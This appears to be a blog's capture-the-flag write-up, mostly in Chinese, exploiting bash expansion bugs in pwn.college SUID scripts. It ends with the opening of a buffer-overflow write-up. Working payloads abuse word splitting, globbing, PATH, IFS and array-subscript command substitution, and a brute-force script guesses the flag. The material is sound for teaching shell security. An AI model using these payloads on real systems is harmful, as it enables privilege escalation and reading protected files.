Hello Navi

Tech, Security & Personal Notes

The shell is as mysterious as it is powerful. As a first stop in our journey, we will explore concepts of variable expansion, the pitfalls around quoting (and lack thereof!), and the raw power of globbing. Stay strong, and follow the PATH.

The Surprising Swap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ubuntu@first~the-surprising-swap:~$ echo "/bin/cat /flag" > pong
ubuntu@first~the-surprising-swap:~$ ls
2 Desktop Downloads a.py cse240 d.py fortune leap pong public_html pwn_script scripts
ubuntu@first~the-surprising-swap:~$ realpath pong
/home/hacker/pong
ubuntu@first~the-surprising-swap:~$ export PATH=/home/hacker/pong:$PATH
ubuntu@first~the-surprising-swap:~$ exec -a /bin/sh /challenge/run ping
pinged!

pwn.college{****************************************}

Connected!
ubuntu@first~the-surprising-swap:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@first~the-surprising-swap:~$ cat /challenge/run-actual
#!/bin/bash

[ "$1" == "ping" ] && echo "pinged!" && read && "$0" pong
[ "$1" == "pong" ] && echo "ponged!"

Path of the Unquoted

在 Shell 中,如果变量 $1 没有被双引号包裹,它会经历 Word Splitting(单词拆分)。

可以利用 Shell 的通配符(Globbing)或者逻辑判断来绕过检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@expansion~path-of-the-unquoted:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

PATH=/usr/bin

[ -n "$1" ] || exit 1
[ "$1" = "flag" ] && exit 2
[ $1 = "flag" ] && cat /flag

echo "Goodbye!"
ubuntu@expansion~path-of-the-unquoted:~$ ta
no sessions
[exited]
ubuntu@expansion~path-of-the-unquoted:~$ /challenge/run 'a -o a'
pwn.college{****************************************}
Goodbye!

判断 1: a 是否为非空字符串?(结果:True)

操作符: -o (OR)

判断 2: a 是否等于 "flag"?(结果:False)

结果: True OR False 等于 True。

Globbing Harmony

1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@expansion~globbing-harmony:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

PATH=/usr/bin
cd /tmp
cat /flag | tr -d [A-Za-z0-9]
ubuntu@expansion~globbing-harmony:~$ /challenge/run
.{-.}
ubuntu@expansion~globbing-harmony:~$ cd /tmp
ubuntu@expansion~globbing-harmony:/tmp$ touch a
ubuntu@expansion~globbing-harmony:/tmp$ /challenge/run
pwn.college{****************************************}

输入 tr -d [A-Za-z0-9] 时,Shell 在执行 tr 之前会检查当前目录。

Globbing 匹配文件名 a。

自动展开:正则模式 [A-Za-z0-9] 匹配到了文件 a。命令展开成了:

1
echo "a" | tr -d a

Zen of Expansion

word splitting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@expansion~zen-of-expansion:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

pretty_cat () {
HEADER="Here is /etc/passwd!"
FILE="/etc/passwd"
[ -n "$1" ] && HEADER="$1" && shift
[ -n "$1" ] && FILE="$1" && shift

echo "####### $HEADER ########"
cat "$FILE"
}

[ "$#" -eq 1 ] || exit 1
pretty_cat $*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
脚本通过 `[ "$#" -eq 1 ] || exit 1` 限制只能传入一个参数。

传入一个带有空格的字符串,比如 "FLAG /flag"。对于外层脚本来说是一个完整的参数,`$#` 等于 1

当执行 `pretty_cat $*` 时,因为 `$*` 没有双引号保护,Bash 会根据空格将其拆分,传给 `pretty_cat` 的参数变成两个:

$1 = FLAG
$2 = /flag

在 pretty_cat 函数内部:

第一个 [ -n "$1" ] 命中,HEADER="FLAG",然后 shift。

在 shell 脚本中,当你从命令行传入参数时,它们会被依次存放在位置变量(positional parameters)中:$1, $2, $3 等等。

shift 命令的作用非常纯粹:把所有的位置参数向左“平移”一位, 系统的参数总数计数器 $# 也会自动减 1

第二个 [ -n "$1" ] 再次命中(现在的 $1 是刚才的 $2),FILE="/flag",然后再 shift。

最后执行 cat "$FILE",也就是 cat /flag
1
2
3
ubuntu@expansion~zen-of-expansion:~$ /challenge/run "FLAG /flag"
####### FLAG ########
pwn.college{****************************************}

Way of the Wildcard

Pattern Matching

在 Bash 的 [[]] 中,如果等号 =(或 ==)右边的变量没有被双引号包围,Bash 不会执行单纯的字符串比对,而是把它当作一个 Globbing Pattern(通配符模式) 来处理。

1
2
3
4
5
6
7
8
9
10
11
ubuntu@expansion~way-of-the-wildcard:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read FLAG < /flag
[[ "$FLAG" = $1 ]] && cat /flag
echo "Goodbye!"
ubuntu@expansion~way-of-the-wildcard:~$ /challenge/run "*"
pwn.college{****************************************}
Goodbye!

Saga of the Sneaky Similarity

word splitting

1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@expansion~saga-of-the-sneaky-similarity:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
CHALLENGE=$RANDOM$RANDOM$RANDOM

[ -n "$1" ] || exit 1
[ $1 -eq "$CHALLENGE" ] && cat /flag
echo "Goodbye!"
ubuntu@expansion~saga-of-the-sneaky-similarity:~$ /challenge/run "1 -eq 1 -o 1"
pwn.college{****************************************}
Goodbye!

Enigma of the Environment

declare 是用来声明或修改变量的。脚本的本意是让你通过 $1 和 $2 设置一个临时的环境变量,接着运行 $PROGRAM(在前面被硬编码成了 $WORKDIR/fortune)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 1
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

declare -- "$1"="$2"
$PROGRAM
ubuntu@expansion~enigma-of-the-environment:~$ /challenge/run PROGRAM "/bin/cat /flag" fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
pwn.college{****************************************}

Voyage of the Variable

对一个变量进行赋值时,Bash 在底层把它当作索引为 0 的数组元素处理。

字符串比对:"PROGRAM[0]" = "PROGRAM" 是 False

变量声明:declare -- "PROGRAM[0]"="$2" 被执行。这会直接修改(或者说覆盖)PROGRAM 变量的第 0 项数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ubuntu@expansion~voyage-of-the-variable:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

[ "$1" = "PROGRAM" ] && exit 4
declare -- "$1"="$2"
$PROGRAM
ubuntu@expansion~voyage-of-the-variable:~$ /challenge/run "PROGRAM[0]" "/bin/cat /flag" fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
pwn.college{****************************************}

Dance of the Delimiters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@expansion~dance-of-the-delimiters:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

[[ "$1" = *PROGRAM* ]] && exit 4
declare -- "$1"="$2"
$PROGRAM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Bash 中,任何未被双引号包裹的变量在展开后,都会触发 Word Splitting (分词)。而分词的规则依据,就是环境变量 IFS (Internal Field Separator, 内部字段分隔符)。

脚本使用了 mktemp -d。在普通的 GNU coreutils 环境下,它默认会在 /tmp 目录下创建一个类似于 /tmp/tmp.XXXXXX 的目录。

所以,$PROGRAM 的完整字符串是:/tmp/tmp.XXXXXX/fortune。

如果我们利用 declare -- "$1"="$2" 把 IFS 变量修改为 .

当 Bash 试图执行 $PROGRAM 时,它会根据点号将 /tmp/tmp.XXXXXX/fortune 切割成两部分:

第一个词:/tmp/tmp

第二个词:XXXXXX/fortune

Bash 会把第一个词 /tmp/tmp 当作可执行命令,把第二个词当作参数传给它。而 /tmp 目录对普通用户是完全可写的!这意味着,我们只需要在 /tmp/tmp 这个位置放一个我们自己写的 Payload,整个系统的执行流就被我们彻底接管了。
1
2
3
4
5
6
7
ubuntu@expansion~dance-of-the-delimiters:~$ echo '#!/bin/bash' > /tmp/tmp
ubuntu@expansion~dance-of-the-delimiters:~$ echo 'cat /flag' >> /tmp/tmp
ubuntu@expansion~dance-of-the-delimiters:~$ chmod +x /tmp/tmp
ubuntu@expansion~dance-of-the-delimiters:~$ /challenge/run IFS "." fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
pwn.college{****************************************}

Symphony of Separation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@expansion~symphony-of-separation:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d /tmp/tmpXXXXXXX) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

[[ "$1" = *PROGRAM* ]] && exit 4
declare -- "$1"="$2"
$PROGRAM
1
2
3
在 Bash 的底层机制中,当 declare(或 let、unset 等内置命令)处理数组赋值时,它会把方括号内的索引 (index) 作为一个算术表达式 (Arithmetic Expression) 进行求值。算术求值允许命令替换 (Command Substitution)

如果传入一个形如 array[$(command)] 的变量名,当 declare 试图解析这个数组下标时,它会直接执行里面的 $(command)
1
2
3
4
5
ubuntu@expansion~symphony-of-separation:~$ /challenge/run 'x[$(/bin/cat /flag)]' 1 fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
/challenge/run: line 20: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
Today is the last day of your life so far.

Saga of Sanitization

算术求值报错 (Arithmetic Evaluation Error)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ubuntu@expansion~saga-of-sanitization:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d /tmp/tmpXXXXXXX) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

BADCHARS=$' \n\t='
VARIABLE="${1//[$BADCHARS]*/}"
[[ -v "$VARIABLE" ]] && exit 6
declare -- "$VARIABLE"="$2"
$PROGRAM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Bash 有一个内置的特性:$(<file)。它的作用完全等同于 $(cat file)

传入的参数是 'x[$(</flag)]'。它没有空格,没有 \n,没有 \t,没有 =

脚本执行到 [[-v "$VARIABLE"]] 或 declare 时,试图解析数组 x 的下标。

它遇到 $(</flag),立刻读取 /flag 的内容

变量名在底层被展开为 x[pwn.college{...}]。

Bash 试图把 pwn.college{...} 当作一个数学公式来计算

显然,这不是一个合法的数学公式。
bash: pwn.college{...}: syntax error: operand expected...
1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@expansion~saga-of-sanitization:~$ /challenge/run 'x[$(</flag)]' 1 fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
/challenge/run: line 21: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
/challenge/run: line 22: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
To be or not to be.
-- Shakespeare
To do is to be.
-- Nietzsche
To be is to do.
-- Sartre
Do be do be do.
-- Sinatra

Tale of the Test

Arithmetic Evaluation Error

-eq、-ne、-lt 等数字比较操作符,会强制对操作数触发算术求值 (Arithmetic Evaluation)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@expansion~tale-of-the-test:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

if [[ "$#" -ne 1 ]]
then
echo "Usage: $0 SKILL_LEVEL"
exit 1
fi

if [[ "$1" -eq 1337 ]]
then
echo "Not skilled enough!"
exit 2
fi

echo "You are quite skilled!"
1
2
3
ubuntu@expansion~tale-of-the-test:~$ /challenge/run 'x[$(</flag)]'
/challenge/run: line 9: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
You are quite skilled!

Your Shattered Sanity

word splitting

Arithmetic Evaluation Error

当 -v 操作符去检查一个带有数组下标的变量时(例如 -v var[index]),为了确定具体的下标是多少,Bash 会强制对 index 进行算术求值 (Arithmetic Evaluation)

1
2
3
4
ubuntu@expansion~your-shattered-sanity:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

[ -f $1 ] && echo "It exists!"
1
2
3
4
5
-f /challenge/run:判断文件是否存在。传入脚本自己的绝对路径,确保这个条件为 True。

-a:逻辑与 (AND) 运算符。

-v x[$(</flag)]:既然左边为 True,[ 就会去计算右边。它检查数组 x 的下标,从而触发算术求值
1
2
ubuntu@expansion~your-shattered-sanity:~$ /challenge/run '/challenge/run -a -v x[$(</flag)]'
/challenge/run: line 3: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

Untrustworthy Utterances

word splitting

Arithmetic Evaluation Error

but in a file this time

1
2
3
4
5
6
ubuntu@expansion~untrustworthy-utterances:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/bin

[ $(cat "$1") = $(cat /flag) ] && echo "Got it!"
1
2
3
4
ubuntu@expansion~untrustworthy-utterances:~$ cat /tmp/tmp
-v x[$(</flag)] -o
ubuntu@expansion~untrustworthy-utterances:~$ /challenge/run /tmp/tmp
/challenge/run: line 5: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

Echoes in Silence

1
2
3
4
5
6
7
ubuntu@expansion~echoes-in-silence:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# Thanks to livz for contributing this challenge!
PATH=/bin

[[ $(cat /flag) = $(cat "$1") ]] && echo "Got it!"

word splitting

globbing

1
[[ pwn.college{... = pwn.college* ]]
1
2
3
ubuntu@expansion~echoes-in-silence:~$ df -h /dev/shm
Filesystem Size Used Avail Use% Mounted on
shm 64M 0 64M 0% /dev/shm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import string

from pwn import *

import itertools

context.log_level = 'error'

charset = string.printable.strip().replace("*", "").replace("?", "")
flag = "pwn.college{"

for attempt in itertools.count(start=1):
print(f"Attempt {attempt}: {flag}")
for c in charset:
# 用 /dev/shm 来传递数据提高 I/O 速度
# or /tmp
with open("/dev/shm/tmp", "w") as f:
f.write(flag + c + "*")
p = process(["/challenge/run", "/dev/shm/tmp"])
if b"Got it!" in p.recvall(timeout=1):
flag += c
if "}" == c:
print(f"\n[+] Flag: {flag}")
exit(0)
break

# pwn.college{****************************************}

Masquerade of the Self

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
ubuntu@expansion~masquerade-of-the-self:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@expansion~masquerade-of-the-self:~$ cat /challenge/run-actual
#!/bin/bash

PATH=/usr/bin

case "$1" in
"hi")
echo hello
;;
"bye")
echo ciao
;;
"help")
echo "Usage: $0 ( hi | bye )"
;;
*)
echo "Invalid command: $1"
$0 help
;;
esac

change $0 to /bin/sh

$0 help -> /bin/sh help

/bin/sh 就会去当前目录下寻找一个叫做 help 的文件并把它当作 shell script 执行

1
2
3
4
5
ubuntu@expansion~masquerade-of-the-self:~$ echo 'cat /flag' > help
ubuntu@expansion~masquerade-of-the-self:~$ chmod +x help
ubuntu@expansion~masquerade-of-the-self:~$ bash -c "exec -a /bin/sh /challenge/run pwn"
Invalid command: pwn
pwn.college{****************************************}

Journey of the PATH

1
2
3
4
5
6
7
8
9
10
ubuntu@expansion~journey-of-the-path:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
[ -n "$1" ] || exit

GUESSFILE=$(mktemp)

printf $1 > $GUESSFILE
grep -f /flag < $GUESSFILE || echo Goodbye!

word splitting

1
printf $1 > $GUESSFILE

Bash 的 printf 命令有一个选项:-v var

它的作用是:不把格式化结果输出到标准输出 (stdout),而是直接将结果赋值给名为 var 的变量

要完成利用,我们需要借助 Bash 处理命令行的固定顺序:先变量展开 (Expansion) -> 再处理重定向 (Redirection) -> 最后执行命令 (Execution)

假设向这个 SUID 脚本传入这样的参数:"-v GUESSFILE /flag"

脚本执行到 printf $1 > $GUESSFILE 时,$1 被替换成了 -v GUESSFILE /flag,而 $GUESSFILE 此时还是 mktemp 生成的临时文件路径(比如 /tmp/tmp.XXXXX)。 此时,Bash 看到 > /tmp/tmp.XXXXX,于是打开这个临时文件,准备接收 stdout 的输出。

准备好重定向后,真正执行的命令实际上变成了这样:

1
printf -v GUESSFILE /flag

printf 注入了 -v GUESSFILE 选项,没有向 stdout 输出。相反,它将当前 Shell 进程中的 GUESSFILE 变量的值,改写成了字符串 /flag

1
grep -f /flag < $GUESSFILE

这一行展开后:

1
grep -f /flag < /flag

grep 被要求从 /flag 文件中读取匹配模式 (Pattern),然后在 /flag 文件中去,每一行必然与它自身匹配

1
2
ubuntu@expansion~journey-of-the-path:~$ /challenge/run "-v GUESSFILE /flag"
pwn.college{****************************************}

Secrets of the Shell

arithmetic evaluation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ubuntu@expansion~secrets-of-the-shell:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
RESPONSE="$1"

# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success! Here's part of the flag:"
cat /flag | head -c10
else
echo "Wrong!"
cat /flag | md5sum
fi
1

用 set -T 开启了调试继承,并用 trap '[[$BASH_SUBSHELL -gt 0]] && exit' DEBUG 禁用所有 Subshell

$() 在 Bash 术语中被称为 Command Substitution (命令替换)

从操作系统层面来看,每当你使用 $(),Bash 都会隐式地调用底层的 fork() 系统调用,复制出一个全新的子进程环境——这就是我们常说的 Subshell (子 Shell)

既然存在 Subshell,Bash 就需要一种机制来知道自己当前处于第几层

$BASH_SUBSHELL 就是这样一个内置的(builtin)只读变量:

  • 在最顶层的父 Shell 中,它的值是 0
  • 当你进入第一层 $() 时,它自增变成 1
  • 如果你在 $() 里再套一个 $(),它就变成 2,以此类推。

trap 命令是用来捕捉系统信号(Signals)的。但挂载在 DEBUG 这个伪信号(pseudo-signal)上的 trap 非常特殊。

它意味着:在当前 Shell 环境下,每一条简单命令 (Simple Command) 真正被执行之前,都会先强制执行一遍 trap 里面定义的代码。

在这个脚本里,执行的代码是 [[ $BASH_SUBSHELL -gt 0 ]] && exit。如果在 Subshell 里运行(层级大于 0),就 exit

默认情况下,主 Shell 中设置的 DEBUG trap,是不会被 Subshell 或 Shell 函数继承的

加上了 set -T (全称是 set -o functrace)。强制要求所有的 Command Substitutions ($())、Shell Functions 和 Subshell environments,继承父进程的 DEBUG trap

$() 注入恶意命令时,系统底层到底发生了什么:

  1. 输入了包含 $(cat /flag) 的 payload。
  2. Bash 解析到 $(),调用 fork() 创建 Subshell。此时 $BASH_SUBSHELL 的值变为 1
  3. 准备在子进程中执行 cat /flag
  4. 触发 set -T 机制:Subshell 强制继承了父辈的 DEBUG trap。
  5. cat /flag 执行前,trap 被触发。
  6. Subshell 开始执行 trap 代码:[[ $BASH_SUBSHELL -gt 0 ]]
  7. 系统一查,当前层级是 1,1 > 0 成立!
  8. 执行 && 后面的 exit
1
2
3
4
5
6
7
8
9
10
11
(( ... )) 的上下文中,Bash 允许动态的变量赋值

Bash 在执行 (( PATH=0 == CHALLENGE )) 时,会将环境变量 PATH 修改为字符串 "0"。

赋值表达式 PATH=0 返回 0,而 0 == CHALLENGE 显然为 false(因为 $RANDOM 串大概率不是 0)。

脚本走进 else 分支。

接下来它要执行 cat 和 md5sum。此时 PATH 变成了 0。在 Linux 路径解析法则中,没有任何前缀的 0 指代的是相对于当前目录的一个名为 0 的文件夹 (即 ./0/)。

Bash 会去 ./0/cat 和 ./0/md5sum 寻找这两个二进制程序
1
2
3
4
5
6
7
ubuntu@expansion~secrets-of-the-shell:~$ mkdir 0
ubuntu@expansion~secrets-of-the-shell:~$ ln -s /usr/bin/cat 0/cat
ubuntu@expansion~secrets-of-the-shell:~$ ln -s /usr/bin/cat 0/md5sum
ubuntu@expansion~secrets-of-the-shell:~$ ln -s /usr/bin/cat 0/head
ubuntu@expansion~secrets-of-the-shell:~$ /challenge/run "PATH=0"
Wrong!
pwn.college{****************************************}

The Swap, Scheming

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ubuntu@expansion~the-swap-scheming:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# props to HyperCube for the idea for this challenge

# HINT: This challenge uses /bin/bash. Double-check which bash you do your prep work in...

PATH=/usr/bin
RESPONSE="$1"

exec 2>/dev/null # props to amateurhour for this unintended solve

# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == RANDOM ))
then
echo "Success!"
cat /flag
else
echo "Wrong!"
rm /flag
fi

在 Bash 中,RANDOM 并不是真正的随机,它是一个 PRNG (伪随机数生成器)。如果你尝试给 RANDOM 赋值,你实际上是在设置它的随机数种子 (Seed)!只要种子固定,接下来生成的随机数序列就是 100% 确定的。而且,不同的 Bash 版本(比如 Bash 4.x 和 5.x)用同一个种子生成的第一个随机数可能会不同,这就是为什么提示让你在 /bin/bash 里做准备。

在 Bash 的算术求值 (( ... )) 中,我们可以使用逗号表达式 (Comma Operator)。逗号表达式会按顺序执行各个部分,并以最后一个表达式的结果作为最终的真假值。

1
2
3
ubuntu@expansion~the-swap-scheming:~$ /challenge/run "RANDOM=0, $(bash -c 'RANDOM=0; echo $RANDOM')"
Success!
pwn.college{****************************************}

Shell Sorcery

arithmetic evaluation

recursive variable evaluation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@expansion~shell-sorcery:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
readonly CHALLENGE
RESPONSE="$1"

# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success!"
cat /flag
else
echo "Wrong!"
#cat /flag | md5sum
fi

Bash 准备计算等式左边。它读取 $RESPONSE,得到了字符串 "CHALLENGE"。

Bash 再次去内存里寻找名为 CHALLENGE 的变量的值

1
2
3
ubuntu@expansion~shell-sorcery:~$ /challenge/run "CHALLENGE"
Success!
pwn.college{****************************************}

The Commanded Condition

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ubuntu@expansion~the-commanded-condition:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
RESPONSE="$1"

# Alright, go for it.
#set -T
#readonly BASH_SUBSHELL
#trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success!"
#cat /flag
else
echo "Wrong!"
#cat /flag | md5sum
fi
1
2
ubuntu@expansion~the-commanded-condition:~$ /challenge/run 'x[$(</flag)]'
/challenge/run: line 13: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

The Dreadful Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ubuntu@expansion~the-dreadful-discovery:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
RESPONSE="$1"

# Can you see what HAL50000 saw?
set -T
#readonly BASH_SUBSHELL
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success!"
#cat /flag
else
echo "Wrong!"
#cat /flag | md5sum
fi
1
2
ubuntu@expansion~the-dreadful-discovery:~$ /challenge/run 'BASH_SUBSHELL=0, x[$(</flag)]'
/challenge/run: line 13: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

Index of Insanity

Array Subscript Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@expansion~index-of-insanity:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

PROPAGANDA=(
"bash is good"
"bash is great"
"bash is wonderful"
)

INDEX="$1"
echo "Your chosen bash affirmation is: ${PROPAGANDA[$INDEX]}"
1
2
ubuntu@expansion~index-of-insanity:~$ /challenge/run 'x[$(</flag)]'
/challenge/run: line 12: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

This Pwn challenge is a classic buffer overflow with a twist: the input is obfuscated via a time-based XOR operation before being copied to the stack.

Challenge Description

I think one of the hands of my watch broke. Can you tell me what the time is?

nc chals.texsaw.org 3000

Flag format: texsaw{flag}

Solution

1. Binary Analysis

Using checksec, we identify the binary's protections:

  • Arch: i386-32-little
  • RELRO: Partial RELRO
  • Stack: No canary found
  • NX: NX enabled (cannot execute shellcode on the stack)
  • PIE: PIE disabled (fixed addresses for code/data)

Since PIE is disabled and there is no stack canary, the primary goal is a Return-to-PLT attack to call system("/bin/sh").

2. Identifying Vulnerabilities

Disassembling the binary reveals two critical functions: main and read_user_input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // eax
time_t timer; // [esp+0h] [ebp-10h] BYREF
time_t key; // [esp+4h] [ebp-Ch]
int *p_argc; // [esp+8h] [ebp-8h]

p_argc = &argc;
// 向下取整
key = 60 * (time(0) / 60);
timer = key;
puts("I think one of my watch hands fell off!");
v3 = ctime(&timer);
